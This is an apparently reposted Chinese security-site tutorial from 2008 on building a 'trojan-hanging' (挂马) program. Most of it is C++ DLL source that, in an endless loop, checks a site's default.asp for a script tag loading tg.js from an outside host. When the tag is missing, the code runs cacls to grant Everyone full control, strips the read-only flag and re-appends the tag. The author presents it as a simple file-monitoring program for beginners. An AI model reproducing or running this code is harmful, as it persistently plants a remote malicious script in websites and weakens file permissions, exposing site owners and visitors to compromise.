用户名: 密码: 验证码: 注册           网站地图 高级搜索 RSS订阅 收藏本站
您的位置:毒霸首页>安全防护>安全技巧>

编程中的挂马程序的制作

[ 来源: | 更新日期:2008-5-17 00:53:40 | 评论 0 条 | 我要投稿 ]

  #include "stdafx.h"

  #include "process.h"

  #include "windows.h"

  #include "string.h"

  #include "iostream.h"

  #include "fstream.h"

  char path2[256]="E:\\gxm\\default.asp";

  char guama[256]="\n<script language=javascript src=’http://www.gxm520.cn/tg.js’></script>";

  BOOL APIENTRY DllMain( HANDLE hModule,

  DWORD ul_reason_for_call,

  LPVOID lpReserved

  )

  {

  switch ( ul_reason_for_call )

  {

  case DLL_PROCESS_ATTACH:

  {

  while(1)

  {

  ifstream ifs(path2);

  char FileContent[5000];

  memset(FileContent,0,5000);//初始化FileContent

  ifs.read(FileContent,5000);//读取数据

  ifs.close();//关闭ifstream对像

  if(strstr(FileContent,guama)==0)

  {

  char path1[256]="E:\\gxm\\default.asp "; //比变量path2多了一个空格

  char mingling[256]="cacls ";

  strcat(mingling,path1);

  char ps[25]="/T /E /C /G everyone:F";

  strcat(mingling,ps);

  char mingling1[256]="cacls ";

  strcat(mingling1,path1);

  char pa[30]="/T /E /C /G administrator:F";

  strcat(mingling1,pa);

  system(mingling);

  system(mingling1);

  SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY);

  ofstream outfile;

  outfile.open(path2,ios::app);

  if (!outfile)

  {

  exit(0);

  }

  outfile<<guama;

  outfile.close();

  }

  Sleep(9000);

  }

  }

  default:

  return TRUE;

  }

  return TRUE;

  }

  简单的监控文件程序的代码而已,我也不知道别人是怎么写的,反正自己是这样想出来一点一点的写点,希望对我们一样菜的人有点帮助


Tags:char,include,DWORD,编程,挂马,outfile,FileContent,DLL文件,min
责任编辑:
您的评论
用户名:新注册) 密码: 匿名评论 [所有评论]

·用户发表意见仅代表其个人意见,并且承担一切因发表内容引起的纠纷和责任
·本站管理人员有权在不通知用户的情况下删除不符合规定的评论信息或留做证据
·请客观的评价您所看到的资讯,提倡就事论事,杜绝漫骂和人身攻击等不文明行为